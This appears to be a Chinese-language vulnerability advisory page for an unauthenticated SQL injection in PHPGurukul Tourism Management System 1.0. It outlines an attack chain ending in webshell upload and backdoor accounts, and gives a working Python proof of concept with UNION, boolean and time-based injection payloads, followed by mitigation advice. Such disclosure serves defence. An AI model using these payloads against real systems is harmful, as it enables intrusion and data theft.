IPBUF安全漏洞报告
English
CVE-2025-13247 CVSS 7.3 高危

CVE-2025-13247 PHPGurukul Tourism Management System 1.0 SQL注入漏洞

披露日期: 2025-11-16

漏洞信息

漏洞编号
CVE-2025-13247
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Tourism Management System 1.0

相关标签

CVE-2025-13247SQL注入PHPGurukulTourism Management System高危漏洞无认证利用web应用安全数据库注入远程攻击

漏洞概述

CVE-2025-13247是PHPGurukul Tourism Management System 1.0版本中发现的一个高危安全漏洞。该漏洞存在于管理后台的user-bookings.php文件中,由于对用户输入的uid参数未进行充分的输入验证和过滤,导致攻击者可以通过构造恶意的SQL语句实现SQL注入攻击。攻击者无需任何认证即可利用此漏洞远程执行SQL代码,可能导致数据库敏感信息泄露、数据库被篡改,甚至可能通过数据库操作获取服务器控制权限。该漏洞的CVSS评分为7.3,属于高危级别,攻击复杂度低,无需认证即可发起攻击,对系统的机密性、完整性和可用性均造成一定影响。目前该漏洞的利用代码已在公开渠道发布,建议受影响的用户尽快采取防护措施。

技术细节

该SQL注入漏洞存在于PHPGurukul Tourism Management System 1.0的/admin/user-bookings.php文件中的uid参数。漏洞的根本原因在于应用程序在处理用户输入时,直接将uid参数的值拼接到SQL查询语句中,而没有使用参数化查询或输入过滤机制。攻击者可以通过在uid参数中注入SQL payloads,如UNION SELECT、布尔盲注、时间盲注等技术来提取数据库中的敏感信息。在未授权的情况下,攻击者可以访问数据库中的用户信息、订单数据、管理员凭据等敏感数据。由于该漏洞位于管理后台路径,攻击者获取的管理员凭据可能被用于进一步的后续攻击,如上传恶意文件、远程代码执行等。常见的注入payload包括使用单引号触发SQL错误、使用UNION语句提取数据、使用条件语句进行布尔盲注等。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标网站使用的PHPGurukul Tourism Management System 1.0版本,并定位到/admin/user-bookings.php端点
STEP 2
步骤2
漏洞探测:攻击者通过发送包含SQL特殊字符的请求(如单引号)到uid参数,观察返回的响应以确认是否存在SQL注入漏洞
STEP 3
步骤3
信息收集:利用UNION注入或盲注技术提取数据库结构信息,包括数据库版本、当前用户、表名等敏感信息
STEP 4
步骤4
数据窃取:通过构造恶意SQL查询,提取数据库中的用户凭据、订单信息、管理员账号等敏感数据
STEP 5
步骤5
权限提升:如果获取到管理员凭据,攻击者可登录管理后台进行进一步攻击,如上传webshell实现远程代码执行
STEP 6
步骤6
持久化控制:攻击者可能通过数据库写入功能创建后门账户或修改现有数据以维持长期访问

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-13247 SQL Injection PoC # Target: PHPGurukul Tourism Management System 1.0 # Endpoint: /admin/user-bookings.php # Parameter: uid target_url = "http://target.com/admin/user-bookings.php" # Basic SQL Injection test - detect vulnerability payloads = [ "1'", "1 OR 1=1", "1' UNION SELECT NULL--", "1' AND SLEEP(5)--" ] def test_sql_injection(): print("[*] Testing CVE-2025-13247 SQL Injection") for payload in payloads: params = {"uid": payload} try: response = requests.get(target_url, params=params, timeout=10) if "error" in response.text.lower() or response.status_code == 500: print(f"[+] Potential SQL Injection detected with payload: {payload}") return True except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Data extraction example using UNION-based injection def extract_database_info(): # Extract database version, user, and database name union_payload = "1' UNION SELECT NULL,NULL,NULL,VERSION(),USER(),DATABASE()--" params = {"uid": union_payload} try: response = requests.get(target_url, params=params, timeout=10) print(f"[*] Database Information Extracted") print(response.text) except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if test_sql_injection(): print("[+] Vulnerability confirmed!") extract_database_info() else: print("[-] No SQL Injection detected")

影响范围

PHPGurukul Tourism Management System 1.0

防御指南

临时缓解措施
在官方修复补丁发布之前,可采取以下临时缓解措施:1) 在Web服务器层面配置URL过滤规则,拦截包含SQL特殊字符(如单引号、双引号、分号等)的请求;2) 限制管理后台访问IP,仅允许可信IP访问/admin路径;3) 启用数据库操作日志审计,及时发现异常查询行为;4) 考虑暂时关闭user-bookings.php功能或部署临时访问限制;5) 加强数据库账户权限管控,限制应用账户的数据库操作权限范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表